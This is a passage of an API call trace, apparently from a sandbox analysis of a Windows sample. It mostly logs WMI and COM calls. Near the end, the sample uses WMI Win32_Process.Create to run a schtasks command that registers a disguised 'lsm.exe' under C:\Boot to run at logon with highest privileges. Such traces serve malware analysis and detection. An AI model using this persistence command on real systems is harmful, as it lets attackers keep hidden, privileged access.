out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f330, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0083.441] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f3f0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02f3f0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0083.441] WbemDefPath:IWbemPath:SetClassName (This=0x1c02f3f0, Name="Win32_Process") returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f3f0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f3f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f3f0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f3f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0083.442] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f3f0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0083.442] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0083.442] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0083.442] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0083.442] IUnknown:Release (This=0x111f638) returned 0x1 [0083.444] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c055550) returned 0x0 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055550, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0083.444] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055550, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02f1b0) returned 0x0 [0083.444] WbemDefPath:IUnknown:Release (This=0x1c055550) returned 0x0 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02f1b0) returned 0x0 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0083.444] WbemDefPath:IUnknown:AddRef (This=0x1c02f1b0) returned 0x3 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0083.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c055590) returned 0x0 [0083.444] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055590, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.444] WbemDefPath:IUnknown:Release (This=0x1c055590) returned 0x3 [0083.445] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0083.445] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0083.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0083.445] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x2 [0083.445] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x1 [0083.445] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0083.445] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0083.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f1b0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02f1b0) returned 0x0 [0083.445] WbemDefPath:IUnknown:AddRef (This=0x1c02f1b0) returned 0x3 [0083.445] WbemDefPath:IUnknown:Release (This=0x1c02f1b0) returned 0x2 [0083.445] WbemDefPath:IWbemPath:SetText (This=0x1c02f1b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0083.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0083.445] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0083.445] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.445] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0083.445] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0083.445] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0083.445] IUnknown:Release (This=0x111f638) returned 0x1 [0083.447] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0555d0) returned 0x0 [0083.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0555d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0083.447] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0555d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f0f0) returned 0x0 [0083.447] WbemDefPath:IUnknown:Release (This=0x1c0555d0) returned 0x0 [0083.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f0f0) returned 0x0 [0083.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0083.447] WbemDefPath:IUnknown:AddRef (This=0x1c02f0f0) returned 0x3 [0083.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0083.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0083.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c055610) returned 0x0 [0083.448] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055610, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.448] WbemDefPath:IUnknown:Release (This=0x1c055610) returned 0x3 [0083.448] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0083.448] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0083.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0083.448] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x2 [0083.448] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x1 [0083.448] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0083.448] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0083.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f0f0) returned 0x0 [0083.448] WbemDefPath:IUnknown:AddRef (This=0x1c02f0f0) returned 0x3 [0083.448] WbemDefPath:IUnknown:Release (This=0x1c02f0f0) returned 0x2 [0083.448] WbemDefPath:IWbemPath:SetText (This=0x1c02f0f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f1b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f0f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f0f0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0083.448] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02f1b0) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f0f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f0f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f0f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0083.448] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f1b0, uIndex=0x0, pszName="root") returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f0f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0083.448] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f0f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0083.449] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f1b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f0f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f0f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f1b0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f1b0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f1b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f1b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f1b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f1b0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f1b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0083.449] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f1b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0083.449] IWbemServices:GetObject (in: This=0x1c03eb20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c02afc0, ppCallResult=0x0) returned 0x0 [0083.452] IWbemClassObject:GetMethod (in: This=0x1c02afc0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c02b330, ppOutSignature=0x1b2fd9e0*=0x1c02b6a0) returned 0x0 [0083.452] IWbemClassObject:SpawnInstance (in: This=0x1c02b330, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf43dd0) returned 0x0 [0083.453] IWbemClassObject:Get (in: This=0x1bf43dd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29047b8*=0, plFlavor=0x29047bc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29047b8*=8, plFlavor=0x29047bc*=32) returned 0x0 [0083.453] IWbemClassObject:Get (in: This=0x1bf43dd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29047b8*=8, plFlavor=0x29047bc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29047b8*=8, plFlavor=0x29047bc*=32) returned 0x0 [0083.453] IWbemClassObject:Put (This=0x1bf43dd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"lsm\" /sc ONLOGON /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0083.453] IWbemClassObject:Get (in: This=0x1bf43dd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904848*=0, plFlavor=0x290484c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904848*=13, plFlavor=0x290484c*=32) returned 0x0 [0083.453] IWbemClassObject:Get (in: This=0x1bf43dd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904848*=13, plFlavor=0x290484c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904848*=13, plFlavor=0x290484c*=32) returned 0x0 [0083.453] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c02a8e0) returned 0x0 [0083.453] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0083.453] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0083.454] IUnknown:AddRef (This=0x1c02a8e0) returned 0x3 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, 